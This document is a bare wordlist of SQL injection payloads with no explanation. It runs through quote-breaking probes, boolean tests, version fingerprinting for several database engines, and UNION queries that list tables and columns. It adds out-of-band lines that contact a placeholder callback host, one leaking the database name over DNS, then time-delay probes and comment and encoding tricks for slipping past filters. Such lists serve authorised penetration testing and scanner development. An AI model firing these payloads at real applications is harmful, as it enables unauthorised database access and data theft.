'
"
\
')
'))
1
1-0
' OR 1=1-- -
' AND 1=2-- -
' OR 'a'='a
' AND 'a'='b
1 AND 1=1
1 AND 1=2
'a'||'b'
'a'+'b'
CONCAT('a','b')
'a' 'b'
@@version
version()
SELECT banner FROM v$version
sqlite_version()
' ORDER BY 1-- -
' ORDER BY 5-- -
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,table_name FROM information_schema.tables-- -
' UNION SELECT NULL,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,string_agg(tablename,',') FROM pg_tables-- -
' UNION SELECT NULL,name FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT NULL,table_name FROM all_tables-- -
'; exec master..xp_dirtree '\\{{CALLBACK}}\a'-- -
SELECT dblink_connect('host={{CALLBACK}} user=x dbname=x')
SELECT UTL_INADDR.get_host_address('{{CALLBACK}}') FROM dual
SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.{{CALLBACK}}\a'))
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
'; WAITFOR DELAY '0:0:5'-- -
' AND pg_sleep(5)-- -
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -
/**/
%09
%0a
%0b
UNION(SELECT(1),(2))
SELECT(username)FROM(users)WHERE(id)=(1)
UN/**/ION SEL/**/ECT
/*!50000UNION*//*!50000SELECT*/
UNIunionON SELECselectT
0x61646d696e
CHAR(97,100,109,105,110)
CHR(97)||CHR(100)||CHR(109)
CHAR(97)+CHAR(100)+CHAR(109)